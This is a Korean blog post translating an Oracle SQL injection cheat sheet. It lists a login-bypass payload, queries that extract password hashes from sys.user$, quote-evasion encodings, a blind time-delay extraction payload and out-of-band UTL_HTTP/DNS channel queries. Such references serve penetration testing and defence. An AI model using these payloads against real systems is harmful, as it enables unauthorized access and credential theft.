아래 링크를 번역함.
(
1 ) 기본 데이터베이스
SYSTEM
|
모든 버전에서 사용 가능
|
SYSAUX
|
모든 버전에서 사용 가능
|
(
2 ) 코멘트 아웃 쿼리(Comment Out Query)
여기서
코멘트 아웃(Comment Out)이란 디버그에서 자주 사용되는 방법으로 코멘트를 지시하는 문을 삽입하여
프로그램이나 명령어 집합의 일부를 일시적으로 사용하지 않는 것을 말함.
--
|
SQL 주석
|
예 :
SELECT * FROM Users WHERE username = ''
OR 1=1 --' AND password = '';
( 3 ) 버전 테스팅
SELECT banner FROM v$version WHERE
banner LIKE 'Oracle%';
|
SELECT banner FROM v$version WHERE
banner LIKE 'TNS%';
|
SELECT version FROM v$instance;
|
노트 :
오라클은 모든 SELECT 문에는 테이블이 있어야 함.
DUAL 테이블은 테스트에 사용할 수 있는 더미 테이블임.
(
4 ) 데이터베이스 자격 증명
SELECT username FROM all_users;
|
모든 버전에서 사용 가능
|
SELECT name, password from sys.user$;
|
<= 10g 에서 사용
|
SELECT name, spare4 from sys.user$;
|
<= 11g 에서 사용
|
(
5 ) 데이터베이스 이름
① 현재 데이터베이스
SELECT name FROM v$database;
|
SELECT instance_name FROM v$instance
|
SELECT global_name FROM global_name
|
SELECT SYS.DATABASE_NAME FROM DUAL
|
② 사용자 데이터베이스
SELECT DISTINCT owner FROM all_tables;
|
(
6 ) 서버 호스트 이름
SELECT host_name FROM v$instance;
(Privileged)
|
SELECT UTL_INADDR.get_host_name FROM
dual;
|
SELECT
UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
|
SELECT UTL_INADDR.get_host_address
FROM dual;
|
(
7 ) 테이블과 컬럼
① 테이블 검색
SELECT table_name FROM all_tables;
|
② 컬럼 검색
SELECT column_name FROM
all_tab_columns;
|
③ 컬럼 이름에서 테이블 찾기
SELECT column_name FROM
all_tab_columns WHERE table_name = 'Users';
|
④ 테이블 이름에서 컬럼 찾기
SELECT table_name FROM all_tab_tables
WHERE column_name = 'password';
|
⑤ 한 번에 여러 테이블/컬럼 검색
SELECT RTRIM(XMLAGG(XMLELEMENT(e,
table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM
all_tables;
|
(
8 ) 인용 기호 피하기
다른 RDBMS 와 달링 오라클은 테이블/컬럼 이름을 인코딩할 수 있음.
SELECT 0x09120911091 FROM dual;
|
Hex 인코딩
|
SELECT CHR(32)||CHR(92)||CHR(93) FROM
dual;
|
CHAR() 함수
|
(
9 ) 문자열 연결
SELECT 'a'||'d'||'mi'||'n' FROM dual;
|
(
10 ) 타이밍
① 시간 지연
SELECT UTL_INADDR.get_host_address('non-existant-domain.com')
FROM dual;
|
② 막대한 시간 지연(Heavy Time Delays)
AND
(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4,
all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM
all_users WHERE rownum = 1),1,1));
|
(
11 ) 특권
SELECT privilege FROM session_privs;
|
SELECT grantee, granted_role FROM
dba_role_privs; (Privileged)
|
(
12 ) 대역 외 채널링
① DNS Requests
SELECT
UTL_HTTP.REQUEST('http://localhost') FROM dual;
|
SELECT UTL_INADDR.get_host_address('localhost.com')
FROM dual;
|
(
13 ) 패스워드 크랙(Password Cracking)
JTR 용 Metasploit 모듈은 아래 링크에서 찾을 수 있음.
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
댓글 없음:
댓글 쓰기